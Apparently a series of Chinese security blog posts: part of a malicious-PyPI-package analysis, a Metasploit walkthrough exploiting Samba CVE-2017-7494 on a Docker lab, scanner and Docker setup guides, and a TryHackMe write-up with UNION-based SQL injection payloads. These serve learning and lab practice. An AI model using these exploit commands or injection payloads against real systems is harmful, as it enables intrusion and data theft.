update.py " pipcoloringskitsV1包只包含一个名为__init__.py的文件,它与我们之前分析的最新版本stage 2 Python释放器脚本相同。 “pipcolorinskitsV1”包包含一个文件(__init__.py) 恶意PyPi包包含一个文件(__init__.py) 通过2023年7月10日到2023年8月7日的分析,攻击者传播恶意有效负载的技术包括推送恶意PyPi包。 用恶意GitHub提交替换恶意PyPi包 从2023年8月8日开始,攻击者对update.py中的传播方法进行了更改。攻击者没有传播恶意的PyPi包,而是直接在存储库中下载并执行后续阶段的有效负载。在checker.py和token .py中也采用了类似的技术。然而,C&C服务器的详细信息是用Fernet加密的。 恶意PyPi包的历史 攻击者有使用恶意PyPi包很长时间了,以下是开发者在各种GitHub提交中推送的包列表: 包和提交的数量突出了这种特定攻击者能够使用各种恶意包来攻击受害者的敏捷性和灵活性。 示例" pythoncoloringsmodsv2 "可在PyPi存储库中获得 德国犯罪市场exec smuggling工具 在调查过程中,我们发现了使用exec smuggling技术的其他攻击工具。这些工具在德国犯罪论坛上很受欢迎,原因是攻击做了一个广告,广告是一个用户用德语写的。 德国犯罪论坛上的帖子 在分析这些广告时,研究人员发现该用户在一个受欢迎的德国犯罪论坛的欺诈板块做了广告,作为一种利用加密货币设备人“窃取”俄罗斯用户加密货币资产的赚钱方式。这名用户通过这种方式,向那些同情俄罗斯的德语使用者发出呼吁,同时也利用欧洲与俄罗斯之间的紧张关系来吸引人们对受攻击工具的兴趣。 5月27日论坛帖子示例 受攻击工具示例 该工具伪装成Tether (USDT)的清理工具,USDT是领先的稳定加密货币,其价值与美元挂钩,旨在欺骗毫无戒心的受害者。在这些论坛上宣传的工具使用了exec smuggling技术,该技术对我们上述分析的相同域执行恶意GET请求。 使用exec smuggling技术攻击GET请求
-
服务器版“永恒之蓝”高危预警 (Samba远程命令执行漏洞CVE-2017-7494) 攻击演示
漏洞信息: 2017年5月24日Samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号CVE-2017-7494,漏洞影响了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。 漏洞利用条件: 1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 满足以上条件时,由于Samba能够为选定的目录创建网络共享,当恶意的客户端连接上一个可写的共享目录时,通过上传恶意的链接库文件,使服务端程序加载并执行它,从而实现远程代码执行。根据服务器的情况,攻击者还有可能以root身份执 测试环境: 在docker下搭建测试环境 1.拉取镜像到本地 root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1 2.启动环境,并将虚拟的445端口映射到物理机的445端口上: root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1 3.在msf下的利用(kali主机IP: 10.0.0.140,靶机下的ubuntu的物理住机IP:10.0.0.158) 利用的poc: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb 将is_known_pipename.rb 拷贝到/usr/share/metasploit-framework/modules/exploits/linux/samba/ 匿名下的samba远程执行之MSF: root@backlion:~# service postgresql start root@backlion:~# msfconsole msf > search is_known_pipename msf > use exploit/linux/samba/is_known_pipename msf exploit(is_known_pipename) > show options msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit 认证的samb下MSF: msf exploit(is_known_pipename) > set SMBUSER test msf exploit(is_known_pipename) > set SMBPASS 123456 msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit 漏洞检查的NAMP脚本: http://ys-k.ys168.com/576161633/UIwHtkm3L3K3I865MJ6/samb.nse 参考文献: https://mp.weixin.qq.com/s/qWFe3yBg6NUU_kyVRiAzeA https://mp.weixin.qq.com/s/PPcIhfkrJGoOEf7-Skvr-A https://mobile.qzone.qq.com/details?sharetag=2866CD731987ABFF941F7FA2F69E8975&bp7=&bp2=&bp1=&_wv=1&res_uin=49870569&appid=2&cellid=1496512730&no_topbar=1&subid=&g_ut=3&from=mp
-
docker基础学习
docker的定义: Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口,它采用c/s架构。 docker组件: 1)镜像(image):docker的镜像其实就是模板,跟我们常见的ISO镜像类似,是一个样板。 2)容器(Container):使用镜像常见的应用或者系统,我们称之为一个容器。 3)仓库(repsitory):仓库是存放镜像的地方,分为公开仓库(Public)和私有仓库(Private)两种形式。 docker环境安装: ubuntu16.04系统,需要运行在64为系统上,并且要求内核版本不低于 3.10 uname -a #查看系统内核 docker安装的步骤: 1. root passwd #设置root账号的密码 2. su root #切换到root账号 3. apt-get update #更新系统 docker自动安装: 安装docker方法一: apt-get install -y docker.io 安装docker方法二:(脚本) curl -sSL https://get.docker.com/ | sh 或者国内的阿里云镜像脚本安装: curl -sSL http://acs-public-mirror.oss-cn-hangzhou.aliyuncs.com/docker-engine/internet | sh docker的手动最新官方安装: 1. apt-get update #更新系统 2. sudo apt-get install apt-transport-https ca-certificates #下载国内阿里云软件源镜像 3. apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D #添加 Docker 官方软件源的 GPG 密钥 4.操作系统对应的更新源<repo>: Trusty 14.04 (LTS) deb https://apt.dockerproject.org/repo ubuntu-trusty main Xenial 16.04 (LTS) deb https://apt.dockerproject.org/repo ubuntu-xenial main 5.更新系统源: echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | sudo tee /etc/apt/sources.list.d/docker.list 6. apt-get update #更新 apt 软件包缓存 7. apt-get install docker-engine #安装最新版本docker 8. service docker start #启动docker docker基本命令: 1.查看docker版本 docker version 2.查看docker运行状态: service docker status 3.搜索要拉去的镜像名ubuntu docker search ubuntu 4.拉取镜像ubuntu docker pull ubuntu 5.下载指定版本 ubuntu 官方镜像 docker pull ubuntu:14.04 6.查看指定镜像 docker images ubuntu 7.查看本机全部镜像 docker images 8.运行一个ubuntu的bash并提供交互式的命令终端,退出删除镜像 docker run -it --rm ubuntu bash 或者 docker run -t -i ubuntu /bin/bash 注释: 命令有两个参数,一个是镜像名,一个是要在镜像中运行的命令 -it:这是两个参数,一个是 -i:交互式操作,一个是 -t 终端。我们这里打算进入 bash 执行一些命令并查看返回结果,因此我们需要交互式终端。 --rm:这个参数是说容器退出后随之将其删除。默认情况下,为了排障需求,退出的容器并不会立即删除,除非手动 docker rm。我们这里只是随便执行个命令,看看结果,不需要排障和保留结果,因此使用 --rm 可以避免浪费空间。 ubuntu:这是指用 ubuntu镜像为基础来启动容器。 bash:放在镜像名后的是命令,这里我们希望有个交互式 Shell,因此用的是 bash 9.移除镜像(没有运行的镜像) docker rmi ubuntu 10.查看docker的进程 docker ps 11.在docker镜像中安装程序 docker run ubunutul apt-get install -mysql 12.容器的启动和停止 docker ps dokcer stop/start/kill/rm 容器ID //停止,启动,禁止,删除容器 13.获取docker的基本信息 sudo docker info #可查看容器个数,容器镜像,安装路径 14.自动端口映射 sudo docker run -t -P --expose 22 --name server ubuntu:14.04 #-P使用时需要指定--expose选项,指定需要对外提供服务的端口
-
被动式pocscan扫描神器搭建
1.搭建环境: 操作系统为:ubuntu16.04 x64位系统,内核版本3.0.10以上 2.安装docker镜像 root@backlion-virtual-machine:/# apt-get install docker.io 3.启动dokcer服务 root@backlion-virtual-machine:/# service docker start 4.拉取pocscan的镜像,并安装 root@backlion-virtual-machine:/# docker pull daocloud.io/aber/pocscan:latest 5.切换到根目录 root@backlion-virtual-machine:/# cd / 6.通过git clone下载源码到本地根目录 root@backlion-virtual-machine:/# git clone https://github.com/erevus-cn/pocscan.git 7.更改pocscan目录为可读可写权限 root@backlion-virtual-machine:/# chmod -R 0777 pocscan 8.将dokcer的8000端口映射到物理机的8090端口上 root@backlion-virtual-machine:/# docker run -d -v /pocscan:/www -p 8090:8000 -p 8088:8088 daocloud.io/aber/pocscan:latest 9.下载POC代码: root@backlion-virtual-machine:/# git clone https://github.com/Tu-tu-tu/poc.git 10.切换到poc目录下 root@backlion-virtual-machine:/# cd /poc 11.拷贝poc下的所有插件到目标poc目录下: root@backlion-virtual-machine:/# mv * /pocscan/pocscan/pocs/ 访问8090端口. 出现登录界面就是搭建成功了。后台和终端的帐号是root,密码是password: 13.下载pocscan的谷歌浏览器插件pocscan.crx,然后拖到应用程序中,访问,然后添加API: 14.常见服务异常的解决: root@backlion-virtual-machine:/#service docker start #启动 docker服务 root@backlion-virtual-machine:/#docker ps #查看所有的docker服务 root@backlion-virtual-machine:/#docker run -d -v /pocscan:/www -p 8090:8000 -p 8088:8088 daocloud.io/aber/pocscan:latest #重新运行pocscan服务
-
(转)Ubuntu 17.04_64上搭建巡风扫描系统(资产信息漏洞扫描内网神器)
巡风简介 巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。其主体分为两部分:网络资产识别引擎与漏洞检测引擎。 网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。 漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。(转自https://github.com/ysrc/xunfeng) 安装Ubuntu就不说了,说下国内的比较快的源吧,省的网速不好,只能干等 Ubuntu 17.04的开发代号是Zesty Zapus,以下是Ubuntu 17.04网易源: sudo nano /etc/apt/source.list deb http://mirrors.163.com/ubuntu/ zesty main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ zesty-security main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ zesty-updates main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ zesty-proposed main restricted universe multiverse deb http://mirrors.163.com/ubuntu/ zesty-backports main restricted universe multiverse deb-src http://mirrors.163.com/ubuntu/ zesty main restricted universe multiverse deb-src http://mirrors.163.com/ubuntu/ zesty-security main restricted universe multiverse deb-src http://mirrors.163.com/ubuntu/ zesty-updates main restricted universe multiverse deb-src http://mirrors.163.com/ubuntu/ zesty-proposed main restricted universe multiverse deb-src http://mirrors.163.com/ubuntu/ zesty-backports main restricted universe multiverse 保存后 sudo apt-get update &&sudo apt-get upgrade&& sudo apt-get dist-upgrade #0x00前言 巡风需要在python2.7和mongodb3.2版本以上环境上安装 (笔者按照巡风GitHub上的链接安装好mongodb,才发现是3.0的版本,为了后续绕开升级mongodb的坑,所以不要选错版本啊,不过坑坑更NB啊) #0x01环境配置 第一步设置时区——增加一个中国上海的地区,然后点上海应用即可更新为北京时间 第二步安装操作系统依赖 sudo apt-get update && sudo apt-get install gcc libssl-dev libffi-dev python-dev libpcap-dev 第三步安装Python环境 这里用pip来安装python依赖库,所以首先切换到root用户安装pip(如果没有为root设置密码就先设置密码 sudo passwd root),不是root安装pip会有警告提示(好像是一些权限问题),如下图 su root(以下都在root下进行安装) wget https://sec.ly.com/mirror/get-pip.py --no-check-certificate && python get-pip.py 完成后更新pip到最新版本 pip install -U pip 接着下载巡风文件包(没安装git的 sudo apt-get install git 一下) sudo git clone https://github.com/ysrc/xunfeng 完成后使用pip安装python依赖库,先切换到xunfeng路径下(因为需要读取requirements.txt) pip install -r requirements.txt -i https://pypi.doubanio.com/simple/ 第四步安装mongo3.2以上版本数据库(笔者这里用3.2版本) 官方安装步骤 (1)安装公钥 sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv EA312927 (2)添加3.2的源 echo "deb http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.2 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.2.list (3)Reload local package database sudo apt-get update 以上3步截图 (4)安装数据库 sudo apt-get install -y mongodb-org (5)目前巡风部署在3.2版本上,其他版本没有进行测试,为了稳定,这里不希望mongodb自己升级,故执行以下代码(不知道有没有理解对官网的意思,有不同意见的兄弟,可以跟我交流) echo "mongodb-org hold" | sudo dpkg --set-selections echo "mongodb-org-server hold" | sudo dpkg --set-selections echo "mongodb-org-shell hold" | sudo dpkg --set-selections echo "mongodb-org-mongos hold" | sudo dpkg --set-selections echo "mongodb-org-tools hold" | sudo dpkg --set-selections (6)创建一个系统服务的文件,默认装完,是不能直接运行service mongdb start sudo nano /etc/systemd/system/mongodb.service 在里面输入 [Unit] Description=High-performance, schema-free document-oriented database After=network.target Documentation=https://docs.mongodb.org/manual [Service] User=mongodb Group=mongodb ExecStart=/usr/bin/mongod --quiet --config /etc/mongod.conf [Install] WantedBy=multi-user.target 保存并退出 (7)启动mongodb服务 sudo systemctl start mongodb 可以验证下mongodb是否正常开启 sudo systemctl status mongodb PS:如果报错提示说地址已经被占用什么的,重启下系统再开启,应该就能成功。 (8)设置mongodb服务开机启动 sudo systemctl enable mongodb #0x02部署和配置 mongodb添加认证 mongo > use xunfeng > db.createUser({user:'scan',pwd:'your password',roles:[{role:'dbOwner',db:'xunfeng'}]}) > exit 这里的 your password 需要更换为你的验证密码,笔者是DC老爷死忠粉,所以就用了batman 退出后切换到你的xunfeng/db路径下,导入数据库,执行(注意不要忘了最后的那个“.”) mongorestore -h 127.0.0.1 --port 27017 -d xunfeng . 回到xunfeng路径下 cd .. nano Config.py 修改相关的配置文件,这里主要修改数据库的端口(mongodb默认端口号是27017)和你刚设置的数据库密码(笔者这里是batman) 还有Run.sh文件 完成后,启动即可 sh Run.sh #0x03浏览器运行巡风 默认地址127.0.0.1,80端口,使用admin/xunfeng321登陆即可 安装步骤到此基本结束 使用方法的视频演示:https://sec-pic-ly.b0.upaiyun.com/xunfeng/xunfeng.mp4 参考地址 https://github.com/ysrc/xunfeng https://github.com/ysrc/xunfeng/blob/master/docs/install/Linux.md https://docs.mongodb.com/v3.2/tutorial/install-mongodb-on-ubuntu/ https://www.digitalocean.com/community/tutorials/how-to-install-mongodb-on-ubuntu-16-04 http://www.freebuf.com/sectool/124365.html
-
(转)搭建本地 8.8 W 乌云漏洞库
下载地址: 开源地址: https://github.com/m0l1ce/wooyunallbugs 百度网盘: 链接: http://pan.baidu.com/s/1nvkFKox 密码: 94sp 安装步骤: 1.首先下载一个集成环境工具,这里我用的 phpStudy2016. 下载地址:phpStudy 2016.11.03 再次更新,支持自定义php版本 2.然后解压到我的D盘上 3.把源码和数据库先下载到本地,图片用的是外连,人家也说了,放图片的服务器不会关掉的 4.把 bugs.rar 这个源码包解压到了D:\phpStudy\WWW\bugs\ 下 5.在源码里找见 conn.php 这个文件,用记事本打开,或者用notepad++ 打开,在里面修改成自己 MySQL 数据库的账号密码 。 6.然后把 wooyun.rar 拷贝到D:\phpStudy\MySQL\data 这里解压下,这里是数据库存放的地方。 7.启动 phpstudy ,然后点击面板上的选择版本,看下是不是 5.3 版本的,如果不是就选择到这个 5.3 版本 。(昨天就这个版本问题,害的我一连不上数据库。。。) 8.点击 mysql 管理器,站点域名管理,然后该杂弄杂弄。。。 9.一般到这里就结束了,直接启动服务器,然后然后输入 127.0.0.1 就能进入了主页面了。 10.先修改一个小错误,再继续说说其他的。他的源码不知道杂回事,进入具体的页面时就会在上面出现报错的提示。。。 11.看着挺不好看的,那我就关闭这个提醒吧, 域名配置: 1.其他,如果修改域名的话,建议用管理员权限打开 phpstudy 这个工具 。 2.继续来到域名管理的那个页面 3.然后打开 hosts 这个文本。 4.添加自己的域名解析地址。 5。来看一下效果 。 配置图片: 下载了一下午的图片,终于下载到我电脑上了。那么开始吧。 1.在 wuyun 源码里新建一个 upload 文件夹。 3.把这一堆的2.图片全部解压到 upload 这个文件夹里。 4.继续用右键管理员权限运行 phpStudy.exe 。 5.继续 点击 MySQL 管理器,点击 站点域名管理 ,新增一个 static.loner.fm 域名,然后路径继续绑定到 wuyun 这个源码路径里,和一开始那个操作差不多,新增,保存。 6.继续点击 其他选项菜单,继续打开 hosts 这个文本 ,然后输入在原来的下一行输入以下地址,并保存 localhost static.loner.fm 7.最后,启动下环境,输入地址,看下效果,是不是成功本地了。 ---------------------------------------------------------------------------------------------------------------------------
-
[THM红队]靶场之Burpsuite 简单SQL注入
前言 本次我们将配合Burpsuite进行代码审计 如果此时你感觉burpsuite配置麻烦,或者报错,或者英文看不懂 附上此次用的开盒即用中文版burpsuite: 最新BurpSuite2023专业汉化版下载(无需任何配置) 2年前29106110 此外因为SQL靶场 有些人配置错误,或者配合Phpstudy感觉配置麻烦 我此次建了几个外网靶场 大家可以使用(请勿攻击 sql.yhu.cc sql1.yhu.cc sql2.yhu.cc sql4.yhu.cc 实战 房间地址:https://tryhackme.com/room/burpsuiterepeater 靶机:10.10.101.97 其实本次主要是使用Burp只不过期中有个很简单SQL注入 这个难易程度还不及SQL注入靶场前几个的难度 看一下这个网站 这里应该是他们的成员随便点进去看看 打开burpsuite拦截 刷新 发送到重放器里 关掉拦截 点击重放器里查看 我们该about2 检查一下内容 让我们改2’看看有没有SQL注入 看来他是有的 这里判断出闭合符号为空 就比如: SQL靶场中 这里是没有任何包裹的 当然也有包裹的 闭合符号需要我们判断 如 闭合符号是’) 所以我们是需要通过数据库报错信息查看闭合符号的 我们已经查到这个网站是没有任何包裹的 从这个图中 我们看到有五列 来自people数据库表 SQL注入有联合union联合查询 暴库 暴表 有点多—- 我们这里就用靶场给的提示吧 /about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people" 这里用到union联合查询 从people表里查询 看到ID=0的时候是没有的 为什么要ID=0的时候呢 这里用到的是回显: 这里靶场没有解释,我给大家解释一下,union是需要表数列数跟前面查询的列数必须是一样的 如果前面显示是两个union后面查询也必须是两个 如果不是,就会报错 , 如以下是三列 使用union select的时候必须是三列 查询的时候就需要 union select 1,2,3这样 可以看到他们应该是给了limit限制 只显示一条所以我们需要 把第一个显示给回显掉 我们就能查看后来我们union全部结果,根据上述出的报错信息可以看到显示查询的是五列 我们用null null null null顶替后四列 0实际上本来就没有 我们正是通过把0的数据回显掉 这样 查询我们想要的值 幸运的是,我们可以使用SQLi对结果进行分组。我们仍然一次只能检索一个结果,但是通过使用该group_concat()函数,我们可以将所有列名合并到一个输出中: 俗称:前面说是暴库暴表 这里俗称暴字符 /about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people" 上下两图也给了我们回显结果 一共是八列:id、firstName、lastName、pfpLink、role、shortRole、bio notes。 这个八列是总的表是八列 上述的五列是查询的时候的五列 请不要搞混 接上文如果我们把0改成已经存在的1呢 让他不回显 如果改成存在的我们就不能看到正常内容 根据一号是CEO 以及上述的八列 flag极可能隐藏在notes表中 暴! 0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1 ok flag已出